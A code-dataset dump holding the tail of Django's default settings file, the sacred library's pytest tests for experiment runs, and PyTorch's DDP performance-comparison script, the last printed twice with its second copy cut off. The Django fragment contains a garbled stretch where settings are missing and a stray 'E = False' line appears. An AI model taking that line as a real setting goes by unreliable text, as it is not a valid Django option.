http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates TIME_INPUT_FORMATS = [ '%H:%M:%S', # '14:30:59' '%H:%M:%S.%f', # '14:30:59.000200' '%H:%M', # '14:30' ] # Default formats to be used when parsing dates and times from input boxes, # in order # See all available format string here: # http://docs.python.org/library/datetime.html#strftime-behavior # * Note that these format strings are different from the ones to display dates DATETIME_INPUT_FORMATS = [ '%Y-%m-%d %H:%M:%S', # '2006-10-25 14:30:59' '%Y-%m-%d %H:%M:%S.%f', # '2006-10-25 14:30:59.000200' '%Y-%m-%d %H:%M', # '2006-10-25 14:30' '%Y-%m-%d', # '2006-10-25' '%m/%d/%Y %H:%M:%S', # '10/25/2006 14:30:59' '%m/%d/%Y %H:%M:%S.%f', # '10/25/2006 14:30:59.000200' '%m/%d/%Y %H:%M', # '10/25/2006 14:30' '%m/%d/%Y', # '10/25/2006' '%m/%d/%y %H:%M:%S', # '10/25/06 14:30:59' '%m/%d/%y %H:%M:%S.%f', # '10/25/06 14:30:59.000200' '%m/%d/%y %H:%M', # '10/25/06 14:30' '%m/%d/%y', # '10/25/06' ] # First day of week, to be used on calendars # 0 means Sunday, 1 means Monday... FIRST_DAY_OF_WEEK = 0 # Decimal separator symbol DECIMAL_SEPARATOR = '.' # Boolean that sets whether to add thousand separator when formatting numbers USE_THOUSAND_SEPARATOR = False # Number of digits that will be together, when splitting them by # THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands... NUMBER_GROUPING = 0 # Thousand separator symbol THOUSAND_SEPARATOR = ',' # The tablespaces to use for each model when not specified otherwise. DEFAULT_TABLESPACE = '' DEFAULT_INDEX_TABLESPACE = '' # Default X-Frame-Options header value X_FRAME_OPTIONS = 'SAMEORIGIN' USE_X_FORWARDED_HOST = False USE_X_FORWARDED_PORT = False # The Python dotted path to the WSGI application that Django's internal server WSGI_APPLICATION = None # a tuple of (header_name, header_value). For any requests that come in with # that header/value, request.is_secure() will return True. # WARNING! Only set this if you fully understand what you're doing. Otherwise, SECURE_PROXY_SSL_HEADER = None E = False SESSION_COOKIE_PATH = '/' SESSION_COOKIE_HTTPONLY = True SESSION_SAVE_EVERY_REQUEST = False SESSION_EXPIRE_AT_BROWSER_CLOSE = False # The module to store session data SESSION_ENGINE = 'django.contrib.sessions.backends.db' # Directory to store session files if using the file session module. If None, # the backend will use a sensible default. SESSION_FILE_PATH = None # class to serialize session data SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' ######### # CACHE # ######### # The cache backends to use. CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache', } } CACHE_MIDDLEWARE_KEY_PREFIX = '' CACHE_MIDDLEWARE_SECONDS = 600 CACHE_MIDDLEWARE_ALIAS = 'default' ################## # AUTHENTICATION # ################## AUTH_USER_MODEL = 'auth.User' AUTHENTICATION_BACKENDS = ['django.contrib.auth.backends.ModelBackend'] LOGIN_URL = '/accounts/login/' LOGIN_REDIRECT_URL = '/accounts/profile/' LOGOUT_REDIRECT_URL = None # The number of days a password reset link is valid for PASSWORD_RESET_TIMEOUT_DAYS = 3 # the first hasher in this list is the preferred algorithm. any # password using different algorithms will be converted automatically # upon login PASSWORD_HASHERS = [ 'django.contrib.auth.hashers.PBKDF2PasswordHasher', 'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher', 'django.contrib.auth.hashers.Argon2PasswordHasher', 'django.contrib.auth.hashers.BCryptSHA256PasswordHasher', 'django.contrib.auth.hashers.BCryptPasswordHasher', ] AUTH_PASSWORD_VALIDATORS = [] ########### # SIGNING # ########### SIGNING_BACKEND = 'django.core.signing.TimestampSigner' ######## # CSRF # ######## # Dotted path to callable to be used as view when a request is # rejected by the CSRF middleware. CSRF_FAILURE_VIEW = 'django.views.csrf.csrf_failure' # Settings for CSRF cookie. CSRF_COOKIE_NAME = 'csrftoken' CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52 CSRF_COOKIE_DOMAIN = None CSRF_COOKIE_PATH = '/' CSRF_COOKIE_SECURE = False CSRF_COOKIE_HTTPONLY = False CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN' CSRF_TRUSTED_ORIGINS = [] CSRF_USE_SESSIONS = False ############ # MESSAGES # ############ # Class to use as messages backend MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' # Default values of MESSAGE_LEVEL and MESSAGE_TAGS are defined within # django.contrib.messages to avoid imports in this settings file. ########### # LOGGING # ########### # The callable to use to configure logging LOGGING_CONFIG = 'logging.config.dictConfig' # Custom logging configuration. LOGGING = {} # Default exception reporter filter class used in case none has been # specifically assigned to the HttpRequest instance. DEFAULT_EXCEPTION_REPORTER_FILTER = 'django.views.debug.SafeExceptionReporterFilter' ########### # TESTING # ########### # The name of the class to use to run the test suite TEST_RUNNER = 'django.test.runner.DiscoverRunner' # Apps that don't need to be serialized at test database creation time TEST_NON_SERIALIZED_APPS = []

true

f732689a19695848c73536abbc88f78ed5fd6d88

8,182

py

Python

tests/test_run.py

martinxyz/sacred

fa452e4eacf29caa59fb46c274a519669d6b4790

[ "MIT" ]

2

2016-10-24T10:26:03.000Z

2016-10-31T15:22:13.000Z

tests/test_run.py

martinxyz/sacred

fa452e4eacf29caa59fb46c274a519669d6b4790

[ "MIT" ]

5

2016-10-22T15:46:11.000Z

2017-06-29T11:19:11.000Z

tests/test_run.py

martinxyz/sacred

fa452e4eacf29caa59fb46c274a519669d6b4790

[ "MIT" ]

1

2020-04-11T14:44:42.000Z

#!/usr/bin/env python # coding=utf-8 from __future__ import division, print_function, unicode_literals from datetime import datetime import mock import os import pytest import tempfile import sys from sacred.run import Run from sacred.config.config_summary import ConfigSummary from sacred.utils import (ObserverError, SacredInterrupt, TimeoutInterrupt, apply_backspaces_and_linefeeds) @pytest.fixture def run(): config = {'a': 17, 'foo': {'bar': True, 'baz': False}, 'seed': 1234} config_mod = ConfigSummary() signature = mock.Mock() signature.name = 'main_func' main_func = mock.Mock(return_value=123, prefix='', signature=signature) logger = mock.Mock() observer = [mock.Mock(priority=10)] return Run(config, config_mod, main_func, observer, logger, logger, {}, {}, [], []) def test_run_attributes(run): assert isinstance(run.config, dict) assert isinstance(run.config_modifications, ConfigSummary) assert isinstance(run.experiment_info, dict) assert isinstance(run.host_info, dict) assert isinstance(run.info, dict) def test_run_state_attributes(run): assert run.start_time is None assert run.stop_time is None assert run.captured_out == '' assert run.result is None def test_run_run(run): assert run() == 123 assert (run.start_time - datetime.utcnow()).total_seconds() < 1 assert (run.stop_time - datetime.utcnow()).total_seconds() < 1 assert run.result == 123 assert run.captured_out == '' def test_run_emits_events_if_successful(run): run() observer = run.observers[0] assert observer.started_event.called assert observer.heartbeat_event.called assert observer.completed_event.called assert not observer.interrupted_event.called assert not observer.failed_event.called @pytest.mark.parametrize('exception,status', [ (KeyboardInterrupt, 'INTERRUPTED'), (SacredInterrupt, 'INTERRUPTED'), (TimeoutInterrupt, 'TIMEOUT'), ]) def test_run_emits_events_if_interrupted(run, exception, status): observer = run.observers[0] run.main_function.side_effect = exception with pytest.raises(exception): run() assert observer.started_event.called assert observer.heartbeat_event.called assert not observer.completed_event.called assert observer.interrupted_event.called observer.interrupted_event.assert_called_with( interrupt_time=run.stop_time, status=status) assert not observer.failed_event.called def test_run_emits_events_if_failed(run): observer = run.observers[0] run.main_function.side_effect = TypeError with pytest.raises(TypeError): run() assert observer.started_event.called assert observer.heartbeat_event.called assert not observer.completed_event.called assert not observer.interrupted_event.called assert observer.failed_event.called def test_run_started_event(run): observer = run.observers[0] run() observer.started_event.assert_called_with( command='main_func', ex_info=run.experiment_info, host_info=run.host_info, start_time=run.start_time, config=run.config, meta_info={}, _id=None ) def test_run_completed_event(run): observer = run.observers[0] run() observer.completed_event.assert_called_with( stop_time=run.stop_time, result=run.result ) def test_run_heartbeat_event(run): observer = run.observers[0] run.info['test'] = 321 run() call_args, call_kwargs = observer.heartbeat_event.call_args_list[0] assert call_kwargs['info'] == run.info assert call_kwargs['captured_out'] == "" assert (call_kwargs['beat_time'] - datetime.utcnow()).total_seconds() < 1 def test_run_artifact_event(run): observer = run.observers[0] handle, f_name = tempfile.mkstemp() metadata = {'testkey': 42} run.add_artifact(f_name, name='foobar', metadata=metadata) observer.artifact_event.assert_called_with(filename=f_name, name='foobar', metadata=metadata) os.close(handle) os.remove(f_name) def test_run_resource_event(run): observer = run.observers[0] handle, f_name = tempfile.mkstemp() run.open_resource(f_name) observer.resource_event.assert_called_with(filename=f_name) os.close(handle) os.remove(f_name) def test_run_cannot_be_started_twice(run): run() with pytest.raises(RuntimeError): run() def test_run_observer_failure_on_startup_not_caught(run): observer = run.observers[0] observer.started_event.side_effect = ObserverError with pytest.raises(ObserverError): run() def test_run_observer_error_in_heartbeat_is_caught(run): observer = run.observers[0] observer.heartbeat_event.side_effect = TypeError run() assert observer in run._failed_observers assert observer.started_event.called assert observer.heartbeat_event.called assert observer.completed_event.called def test_run_exception_in_completed_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.completed_event.side_effect = TypeError run() assert observer.completed_event.called assert observer2.completed_event.called def test_run_exception_in_interrupted_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.interrupted_event.side_effect = TypeError run.main_function.side_effect = KeyboardInterrupt with pytest.raises(KeyboardInterrupt): run() assert observer.interrupted_event.called assert observer2.interrupted_event.called def test_run_exception_in_failed_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.failed_event.side_effect = TypeError run.main_function.side_effect = AttributeError with pytest.raises(AttributeError): run() assert observer.failed_event.called assert observer2.failed_event.called def test_unobserved_run_doesnt_emit(run): observer = run.observers[0] run.unobserved = True run() assert not observer.started_event.called assert not observer.heartbeat_event.called assert not observer.completed_event.called assert not observer.interrupted_event.called assert not observer.failed_event.called def test_stdout_capturing_no(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "no" with capsys.disabled(): run() assert run.captured_out == '' def test_stdout_capturing_sys(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "sys" with capsys.disabled(): run() assert run.captured_out == '0123456789' # @pytest.mark.skipif(sys.platform.startswith('win'), # reason="does not work on windows") @pytest.mark.skip('Breaks randomly on test server') def test_stdout_capturing_fd(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "fd" with capsys.disabled(): run() assert run.captured_out == '0123456789' def test_captured_out_filter(run, capsys): def print_mock_progress(): sys.stdout.write('progress 0') sys.stdout.flush() for i in range(10): sys.stdout.write('\b') sys.stdout.write(str(i)) sys.stdout.flush() run.captured_out_filter = apply_backspaces_and_linefeeds run.main_function.side_effect = print_mock_progress run.capture_mode = "sys" with capsys.disabled(): run() sys.stdout.flush() assert run.captured_out == 'progress 9'

29.861314

97

0.712173

from __future__ import division, print_function, unicode_literals from datetime import datetime import mock import os import pytest import tempfile import sys from sacred.run import Run from sacred.config.config_summary import ConfigSummary from sacred.utils import (ObserverError, SacredInterrupt, TimeoutInterrupt, apply_backspaces_and_linefeeds) @pytest.fixture def run(): config = {'a': 17, 'foo': {'bar': True, 'baz': False}, 'seed': 1234} config_mod = ConfigSummary() signature = mock.Mock() signature.name = 'main_func' main_func = mock.Mock(return_value=123, prefix='', signature=signature) logger = mock.Mock() observer = [mock.Mock(priority=10)] return Run(config, config_mod, main_func, observer, logger, logger, {}, {}, [], []) def test_run_attributes(run): assert isinstance(run.config, dict) assert isinstance(run.config_modifications, ConfigSummary) assert isinstance(run.experiment_info, dict) assert isinstance(run.host_info, dict) assert isinstance(run.info, dict) def test_run_state_attributes(run): assert run.start_time is None assert run.stop_time is None assert run.captured_out == '' assert run.result is None def test_run_run(run): assert run() == 123 assert (run.start_time - datetime.utcnow()).total_seconds() < 1 assert (run.stop_time - datetime.utcnow()).total_seconds() < 1 assert run.result == 123 assert run.captured_out == '' def test_run_emits_events_if_successful(run): run() observer = run.observers[0] assert observer.started_event.called assert observer.heartbeat_event.called assert observer.completed_event.called assert not observer.interrupted_event.called assert not observer.failed_event.called @pytest.mark.parametrize('exception,status', [ (KeyboardInterrupt, 'INTERRUPTED'), (SacredInterrupt, 'INTERRUPTED'), (TimeoutInterrupt, 'TIMEOUT'), ]) def test_run_emits_events_if_interrupted(run, exception, status): observer = run.observers[0] run.main_function.side_effect = exception with pytest.raises(exception): run() assert observer.started_event.called assert observer.heartbeat_event.called assert not observer.completed_event.called assert observer.interrupted_event.called observer.interrupted_event.assert_called_with( interrupt_time=run.stop_time, status=status) assert not observer.failed_event.called def test_run_emits_events_if_failed(run): observer = run.observers[0] run.main_function.side_effect = TypeError with pytest.raises(TypeError): run() assert observer.started_event.called assert observer.heartbeat_event.called assert not observer.completed_event.called assert not observer.interrupted_event.called assert observer.failed_event.called def test_run_started_event(run): observer = run.observers[0] run() observer.started_event.assert_called_with( command='main_func', ex_info=run.experiment_info, host_info=run.host_info, start_time=run.start_time, config=run.config, meta_info={}, _id=None ) def test_run_completed_event(run): observer = run.observers[0] run() observer.completed_event.assert_called_with( stop_time=run.stop_time, result=run.result ) def test_run_heartbeat_event(run): observer = run.observers[0] run.info['test'] = 321 run() call_args, call_kwargs = observer.heartbeat_event.call_args_list[0] assert call_kwargs['info'] == run.info assert call_kwargs['captured_out'] == "" assert (call_kwargs['beat_time'] - datetime.utcnow()).total_seconds() < 1 def test_run_artifact_event(run): observer = run.observers[0] handle, f_name = tempfile.mkstemp() metadata = {'testkey': 42} run.add_artifact(f_name, name='foobar', metadata=metadata) observer.artifact_event.assert_called_with(filename=f_name, name='foobar', metadata=metadata) os.close(handle) os.remove(f_name) def test_run_resource_event(run): observer = run.observers[0] handle, f_name = tempfile.mkstemp() run.open_resource(f_name) observer.resource_event.assert_called_with(filename=f_name) os.close(handle) os.remove(f_name) def test_run_cannot_be_started_twice(run): run() with pytest.raises(RuntimeError): run() def test_run_observer_failure_on_startup_not_caught(run): observer = run.observers[0] observer.started_event.side_effect = ObserverError with pytest.raises(ObserverError): run() def test_run_observer_error_in_heartbeat_is_caught(run): observer = run.observers[0] observer.heartbeat_event.side_effect = TypeError run() assert observer in run._failed_observers assert observer.started_event.called assert observer.heartbeat_event.called assert observer.completed_event.called def test_run_exception_in_completed_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.completed_event.side_effect = TypeError run() assert observer.completed_event.called assert observer2.completed_event.called def test_run_exception_in_interrupted_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.interrupted_event.side_effect = TypeError run.main_function.side_effect = KeyboardInterrupt with pytest.raises(KeyboardInterrupt): run() assert observer.interrupted_event.called assert observer2.interrupted_event.called def test_run_exception_in_failed_event_is_caught(run): observer = run.observers[0] observer2 = mock.Mock(priority=20) run.observers.append(observer2) observer.failed_event.side_effect = TypeError run.main_function.side_effect = AttributeError with pytest.raises(AttributeError): run() assert observer.failed_event.called assert observer2.failed_event.called def test_unobserved_run_doesnt_emit(run): observer = run.observers[0] run.unobserved = True run() assert not observer.started_event.called assert not observer.heartbeat_event.called assert not observer.completed_event.called assert not observer.interrupted_event.called assert not observer.failed_event.called def test_stdout_capturing_no(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "no" with capsys.disabled(): run() assert run.captured_out == '' def test_stdout_capturing_sys(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "sys" with capsys.disabled(): run() assert run.captured_out == '0123456789' @pytest.mark.skip('Breaks randomly on test server') def test_stdout_capturing_fd(run, capsys): def print_mock_progress(): for i in range(10): print(i, end="") sys.stdout.flush() run.main_function.side_effect = print_mock_progress run.capture_mode = "fd" with capsys.disabled(): run() assert run.captured_out == '0123456789' def test_captured_out_filter(run, capsys): def print_mock_progress(): sys.stdout.write('progress 0') sys.stdout.flush() for i in range(10): sys.stdout.write('\b') sys.stdout.write(str(i)) sys.stdout.flush() run.captured_out_filter = apply_backspaces_and_linefeeds run.main_function.side_effect = print_mock_progress run.capture_mode = "sys" with capsys.disabled(): run() sys.stdout.flush() assert run.captured_out == 'progress 9'

true

f73269981546a570cb9a309603dd8f27856144f3

9,873

py

Python

benchmarks/distributed/ddp/compare/compare_ddp.py

Hacky-DH/pytorch

80dc4be615854570aa39a7e36495897d8a040ecc

[ "Intel" ]

60,067

2017-01-18T17:21:31.000Z

2022-03-31T21:37:45.000Z

benchmarks/distributed/ddp/compare/compare_ddp.py

Hacky-DH/pytorch

80dc4be615854570aa39a7e36495897d8a040ecc

[ "Intel" ]

66,955

2017-01-18T17:21:38.000Z

2022-03-31T23:56:11.000Z

benchmarks/distributed/ddp/compare/compare_ddp.py

Hacky-DH/pytorch

80dc4be615854570aa39a7e36495897d8a040ecc

[ "Intel" ]

19,210

2017-01-18T17:45:04.000Z

2022-03-31T23:51:56.000Z

""" A simple tool to compare the performance of different impls of DistributedDataParallel on resnet50, three flavors: 1. DistributedDataParallel, which has a python wrapper and C++ core to do gradient distribution and reduction. It's current production version. 2. PythonDDP with async gradient reduction. 3. PythonDDP with synchrous gradient reduction. Example:: >>> modify configs in main func >>> python compare_ddp.py >>> Sample out: compare_ddp_sample.md """ import numpy as np import os import pickle import glob import python_ddp import torch import torch.distributed as dist import torch.multiprocessing as mp import torch.nn as nn import torch.optim as optim import torchvision.models as models from collections import OrderedDict from enum import Enum from tabulate import tabulate from torch.nn.parallel import DistributedDataParallel as DDP class DDPOption(Enum): DDP_CPP_CORE = 1 PYTHON_DDP_SYNC_REDUCTION = 2 PYTHON_DDP_ASYNC_REDUCTION = 3 class LatencyData: __slots__ = ["buffer_size_in_M", "ddp_option", "rank", "metrics"] def __init__(self, buffer_size_in_M, ddp_option, rank, metrics): self.buffer_size_in_M = buffer_size_in_M self.ddp_option = ddp_option self.rank = rank self.metrics = metrics def serialize(buffer_size_in_M, ddp_option, rank, metrics, data_dir="./tmp", ext="ddpraw"): if not os.path.exists(data_dir): print(f'{data_dir} not exist, mkdir {data_dir}') os.mkdir(data_dir) file_name = "buffer_size_{}M_rank{}_{}.{}".format( buffer_size_in_M, rank, ddp_option, ext) file_path = os.path.join(data_dir, file_name) print("Writing metrics to file: '{}'".format(file_path)) data = LatencyData(buffer_size_in_M, ddp_option, rank, metrics) with open(file_path, "wb") as f: pickle.dump(data, f, pickle.HIGHEST_PROTOCOL) print(f"Wrote metrics to '{file_path}''") def load_detailed_metrics(data_dir="./tmp", ext="ddpraw"): assert os.path.exists(data_dir) file_pattern = os.path.join(data_dir, f"*.{ext}") files = glob.glob(file_pattern) print("load_detailed_metrics found {} files".format(len(files))) buffer_size_to_metrics = OrderedDict() for file_path in files: with open(file_path, "rb") as f: data = pickle.load(f) # Add data to buffer_size_to_metrics buffer_size = data.buffer_size_in_M if buffer_size not in buffer_size_to_metrics: buffer_size_to_metrics[buffer_size] = {} metrics = buffer_size_to_metrics.get(buffer_size) assert metrics is not None metrics[data.ddp_option] = data.metrics return buffer_size_to_metrics def setup(rank, world_size): os.environ['MASTER_ADDR'] = 'localhost' os.environ['MASTER_PORT'] = '12355' # initialize the process group dist.init_process_group("gloo", rank=rank, world_size=world_size) def create_ddp_model(module, rank, pg, ddp_option, buffer_size_in_M): """Helper to create DDPModel. """ if ddp_option == DDPOption.DDP_CPP_CORE: ddp_model = DDP(module, device_ids=[rank], process_group=pg, bucket_cap_mb=buffer_size_in_M) ddp_model._set_static_graph() return ddp_model elif ddp_option == DDPOption.PYTHON_DDP_SYNC_REDUCTION: M = 2 ** 20 return python_ddp.PythonDDP(module, pg, False, buffer_size=buffer_size_in_M * M) elif ddp_option == DDPOption.PYTHON_DDP_ASYNC_REDUCTION: M = 2 ** 20 return python_ddp.PythonDDP(module, pg, True, buffer_size=buffer_size_in_M * M) else: raise NotImplementedError def run_ddp(rank, world_size, epochs, ddp_option, buffer_size_in_M, warmup_iterations=20): print(f'Invoked run_ddp rank {rank}') assert epochs > warmup_iterations # Setup print("setting up ... ") setup(rank, world_size) torch.manual_seed(rank) torch.cuda.manual_seed(rank) device = torch.device('cuda:%d' % rank) print('setup done') # Create ResNet50 module and wrap in DDP module. pg = dist.distributed_c10d._get_default_group() model = models.resnet50().to(device) ddp_model = create_ddp_model(model, rank, pg, ddp_option, buffer_size_in_M) assert ddp_model is not None loss_fn = nn.MSELoss() optimizer = optim.SGD(ddp_model.parameters(), lr=0.001) # Container to hold: event -> list of events in milliseconds MODEL_FORWARD = "forward" MODEL_BACKWARD = "backward" metrics = {MODEL_FORWARD: [], MODEL_BACKWARD: []} for epoch in range(epochs): if epoch % 10 == 0: print(f'Epoch {epoch}/{epochs} ...') start = torch.cuda.Event(enable_timing=True) end = torch.cuda.Event(enable_timing=True) # TODO(bowangbj): Switch to real training set from ImageNet. inputs = torch.rand([32, 3, 224, 224], device=device) labels = torch.rand([32, 1000], device=device) # Forward start.record() outputs = ddp_model(inputs) loss = loss_fn(outputs, labels) end.record() torch.cuda.synchronize() if epoch >= warmup_iterations: metrics[MODEL_FORWARD].append(start.elapsed_time(end)) # Backward start.record() loss.backward() # Reduce all grad, this is needed for non-DDP_CPP_CORE since the hook # for all_reduce does not exist yet. if ddp_option != DDPOption.DDP_CPP_CORE: ddp_model.all_reduce_grads() end.record() torch.cuda.synchronize() if epoch >= warmup_iterations: metrics[MODEL_BACKWARD].append(start.elapsed_time(end)) # Optimization optimizer.step() optimizer.zero_grad() if rank == 0: print(f"\nMetrics for GPU {rank}, ddp_option={ddp_option}, buffer_size={buffer_size_in_M}M") print(f"Skipped {warmup_iterations} CUDA warmpup iterations. ") for step, elapsed_milliseconds in metrics.items(): A = np.array(elapsed_milliseconds) print(' {N} iterations, {step}, mean={mean} ms, median={median} ms, p90={p90} ms, p99={p99} ms'.format( N=len(A), step=step, mean=np.mean(A), median=np.percentile(A, 50), p90=np.percentile(A, 90), p99=np.percentile(A, 99))) # Serialize the raw data to be used to compute summary. Didn't choose to # maintain a global object holding the metrics b/c mp.spawn tries to # fork all the arguments before spawning new process thus it's infeasible # save global states in an object. serialize(buffer_size_in_M, ddp_option, rank, metrics) def append_delta(row_list, base, exp): percent = 100 * ((exp - base) / base) row_list.append(percent) def print_summary(buffer_size_to_metrics): # metrics: {ddp_option, Metrics} # Metrics: step -> [latency] for buffer_size, metrics in buffer_size_to_metrics.items(): assert DDPOption.DDP_CPP_CORE in metrics.keys() baseline = metrics.get(DDPOption.DDP_CPP_CORE) print(f"=== Summary for buffer_size: {buffer_size}M === ") for step in baseline.keys(): # step takes value from [forward, backward] # compute latency for each step into a table, each row is looks like # [option, mean, diff, mean, diff, p90, diff, p95, diff, p99, diff] data = [] baseline_latencies = baseline.get(step) assert baseline_latencies is not None A_baseline = np.array(baseline_latencies) for ddp_option, exp_metrics in metrics.items(): exp_latencies = exp_metrics.get(step) assert exp_latencies is not None A_exp = np.array(exp_latencies) # Yield option, mean, p50, p90, p95, p99 and delta. row = [ddp_option] row.append(np.mean(A_exp)) append_delta(row, np.mean(A_baseline), np.mean(A_exp)) for px in [50, 90, 95, 99]: base = np.percentile(A_baseline, px) exp = np.percentile(A_exp, px) row.append(exp) append_delta(row, base, exp) data.append(row) # Output buffer_size, step as a table. print(tabulate(data, headers=[f"DDP: [{step}]", "Mean", "delta%", "mean", "delta%", "p90", "delta%", "p95", "delta%%", "p99", "delta%"])) print("\n") def main(): world_size = 2 epochs = 120 # resnet50 model facts: # total_param_count = 161 # total_elements = 25557032 ~= 24.37M # param_max_elements = 2359296 ~= 2.25M # Try different bucket sizes. buffer_size_in_mbs = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27] print("buffer_size_in_mbs: " + str(buffer_size_in_mbs)) for buffer_size_in_M in buffer_size_in_mbs: print("\n\n=== NEW EXPERIMENT: buffer_size={}M, {} epochs, world_size={} ===".format( buffer_size_in_M, epochs, world_size)) options = [ DDPOption.DDP_CPP_CORE, DDPOption.PYTHON_DDP_ASYNC_REDUCTION, DDPOption.PYTHON_DDP_SYNC_REDUCTION ] for option in options: print("Measuring option: {} ... ".format(option)) mp.spawn(run_ddp, args=(world_size, epochs, option, buffer_size_in_M), nprocs=world_size, join=True) print("\n Generating summaries ... ") buffer_size_to_metrics = load_detailed_metrics(data_dir="./tmp", ext="ddpraw") print_summary(buffer_size_to_metrics) if __name__ == "__main__" : main()

38.416342

118

0.637395

import numpy as np import os import pickle import glob import python_ddp import torch import torch.distributed as dist import torch.multiprocessing as mp import torch.nn as nn import torch.optim as optim import torchvision.models as models from collections import OrderedDict from enum import Enum from tabulate import tabulate from torch.nn.parallel import DistributedDataParallel as DDP class DDPOption(Enum): DDP_CPP_CORE = 1 PYTHON_DDP_SYNC_REDUCTION = 2 PYTHON_DDP_ASYNC_REDUCTION = 3 class LatencyData: __slots__ = ["buffer_size_in_M", "ddp_option", "rank", "metrics"] def __init__(self, buffer_size_in_M, ddp_option, rank, metrics): self.buffer_size_in_M = buffer_size_in_M self.ddp_option = ddp_option self.rank = rank self.metrics = metrics def serialize(buffer_size_in_M, ddp_option, rank, metrics, data_dir="./tmp", ext="ddpraw"): if not os.path.exists(data_dir): print(f'{data_dir} not exist, mkdir {data_dir}') os.mkdir(data_dir) file_name = "buffer_size_{}M_rank{}_{}.{}".format( buffer_size_in_M, rank, ddp_option, ext) file_path = os.path.join(data_dir, file_name) print("Writing metrics to file: '{}'".format(file_path)) data = LatencyData(buffer_size_in_M, ddp_option, rank, metrics) with open(file_path, "wb") as f: pickle.dump(data, f, pickle.HIGHEST_PROTOCOL) print(f"Wrote metrics to '{file_path}''") def load_detailed_metrics(data_dir="./tmp", ext="ddpraw"): assert os.path.exists(data_dir) file_pattern = os.path.join(data_dir, f"*.{ext}") files = glob.glob(file_pattern) print("load_detailed_metrics found {} files".format(len(files))) buffer_size_to_metrics = OrderedDict() for file_path in files: with open(file_path, "rb") as f: data = pickle.load(f) # Add data to buffer_size_to_metrics buffer_size = data.buffer_size_in_M if buffer_size not in buffer_size_to_metrics: buffer_size_to_metrics[buffer_size] = {} metrics = buffer_size_to_metrics.get(buffer_size) assert metrics is not None metrics[data.ddp_option] = data.metrics return buffer_size_to_metrics def setup(rank, world_size): os.environ['MASTER_ADDR'] = 'localhost' os.environ['MASTER_PORT'] = '12355' # initialize the process group dist.init_process_group("gloo", rank=rank, world_size=world_size) def create_ddp_model(module, rank, pg, ddp_option, buffer_size_in_M): if ddp_option == DDPOption.DDP_CPP_CORE: ddp_model = DDP(module, device_ids=[rank], process_group=pg, bucket_cap_mb=buffer_size_in_M) ddp_model._set_static_graph() return ddp_model elif ddp_option == DDPOption.PYTHON_DDP_SYNC_REDUCTION: M = 2 ** 20 return python_ddp.PythonDDP(module, pg, False, buffer_size=buffer_size_in_M * M) elif ddp_option == DDPOption.PYTHON_DDP_ASYNC_REDUCTION: M = 2 ** 20 return python_ddp.PythonDDP(module, pg, True, buffer_size=buffer_size_in_M * M) else: raise NotImplementedError def run_ddp(rank, world_size, epochs, ddp_option, buffer_size_in_M, warmup_iterations=20): print(f'Invoked run_ddp rank {rank}') assert epochs > warmup_iterations # Setup print("setting up ... ") setup(rank, world_size) torch.manual_seed(rank) torch.cuda.manual_seed(rank) device = torch.device('cuda:%d' % rank) print('setup done') # Create ResNet50 module and wrap in DDP module. pg = dist.distributed_c10d._get_default_group() model = models.resnet50().to(device) ddp_model = create_ddp_model(model, rank, pg, ddp_option, buffer_size_in_M) assert ddp_model is not None loss_fn = nn.MSELoss() optimizer = optim.SGD(ddp_model.parameters(), lr=0.001) # Container to hold: event -> list of events in milliseconds MODEL_FORWARD = "forward" MODEL_BACKWARD = "backward" metrics = {MODEL_FORWARD: [], MODEL_BACKWARD: []} for epoch in range(epochs): if epoch % 10 == 0: print(f'Epoch {epoch}/{epochs} ...') start = torch.cuda.Event(enable_timing=True) end = torch.cuda.Event(enable_timing=True) # TODO(bowangbj): Switch to real training set from ImageNet. inputs = torch.rand([32, 3, 224, 224], device=device) labels = torch.rand([32, 1000], device=device) # Forward start.record() outputs = ddp_model(inputs) loss = loss_fn(outputs, labels) end.record() torch.cuda.synchronize() if epoch >= warmup_iterations: metrics[MODEL_FORWARD].append(start.elapsed_time(end)) # Backward start.record() loss.backward() # Reduce all grad, this is needed for non-DDP_CPP_CORE since the hook # for all_reduce does not exist yet. if ddp_option != DDPOption.DDP_CPP_CORE: ddp_model.all_reduce_grads() end.record() torch.cuda.synchronize() if epoch >= warmup_iterations: metrics[MODEL_BACKWARD].append(start.elapsed_time(end)) # Optimization optimizer.step() optimizer.zero_grad() if rank == 0: print(f"\nMetrics for GPU {rank}, ddp_option={ddp_option}, buffer_size={buffer_size_in_M}M") print(f"Skipped {warmup_iterations} CUDA warmpup iterations. ") for step, elapsed_milliseconds in metrics.items(): A = np.array(elapsed_milliseconds) print(' {N} iterations, {step}, mean={mean} ms, median={median} ms, p90={p90} ms, p99={p99} ms'.format( N=len(A), step=step, mean=np.mean(A), median=np.percentile(A, 50), p90=np.percentile(A, 90), p99=np.percentile(A, 99))) # Serialize the raw data to be used to compute summary. Didn't choose to # save global states in an object. serialize(buffer_size_in_M, ddp_option, rank, metrics) def append_delta(row_list, base, exp): percent = 100 * ((exp - base) / base) row_list.append(percent) def 